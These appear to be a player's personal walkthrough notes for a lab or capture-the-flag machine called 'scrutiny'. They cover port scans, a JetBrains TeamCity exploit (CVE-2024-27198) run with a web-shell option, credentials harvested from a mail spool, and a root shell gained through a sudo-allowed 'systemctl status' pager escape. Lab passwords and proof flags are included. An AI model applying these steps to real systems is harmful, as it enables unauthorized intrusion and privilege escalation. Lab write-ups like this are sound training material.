scrutiny

Enum

sudo nmap -T4 -A -v -o nmap --min-rate 1000 $IP 
sudo nmap -T4 --script=vuln -v -o vuln --min-rate 1000 $IP
sudo nmap -T4 -A -v -p- -o alltcp --min-rate 1000 $IP
sudo nmap -T4 -sU -sV -sC -v -p -o udp --min-rate 1000 $IP
sudo nmap -A -v -p- -o alltcpslow $IP

Services:

Discovered open port 22/tcp on 192.168.245.44
Discovered open port 80/tcp on 192.168.245.44

Took a long time to find stuff. Viewing page source lead to subdomain

192.168.165.91  teams.onlyrands.com

💡

Look for subdomains in source.

JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE) java/remote/51884.py

Wrong version

found new onme

Embed GitHub

python3 CVE-2024-27198-RCE.py -t http://teams.onlyrands.com/ --behinder4

7mn49kr7, password: Q6zGqfEX6e

Logging in worked!

Found id_rsa ffrom Marco user

teams.onlyrands.com

marcot@onlyrands.com

💡

Port 25 was open so we need to look at /var/mail!

cat /var/mail/marcot

From matthewa@onlyrands.com  Fri Jun  7 09:33:48 2024                                                                                            
Return-Path: <matthewa@onlyrands.com>                                   
X-Original-To: marcot@onlyrands.com
Delivered-To: marcot@onlyrands.com                                                                                                               
Received: by onlyrands.com (Postfix, from userid 1010)                  
        id E8D713650; Fri,  7 Jun 2024 09:33:48 +0000 (UTC)             
From: matthewa@onlyrands.com        
To: marcot@onlyrands.com                                                                         
Subject: Goodbye, best friend      
Date: Fri,  18 Feb 2022 08:43:11 (UTC)                                  
MIME-Version: 1.0                                                       
Content-Type: text/plain; charset="UTF-8"             
Content-Transfer-Encoding: 8bit                                                                  
Message-Id: <20240607093348.E8D713650@onlyrands.com>                    
                                                                        
Marco,                                                                  
                                                                                                 
Dach, the imbecile, forgot to disable my access, so you can login using my account. The password is "IdealismEngineAshen476" (without the quotation marcot).
                                                                        
I've left you a parting gift--your eyes only.                           
I'm gonna miss you, pal. Catch you on the flip side.                    
                                                                        
Sincerely,                                                              
Matthew A.

new creds

matthewa:IdealismEngineAshen476

lets grep for new creds

briand:RefriedScabbedWasting502

briand:x:1003:1001:Brian Dach,,,:/home/administration/briand:/bin/bash

User briand may run the following commands on onlyrands:
    (root) NOPASSWD: /usr/bin/systemctl status teamcity-server.service

 /usr/bin/systemctl status teamcity-server.service

Priv esc:

!sh

thats root

proof

a770d6ab6b8368e3b4c51dfd8969c7ff

local

af92cfa02716cc49358462ec854edb65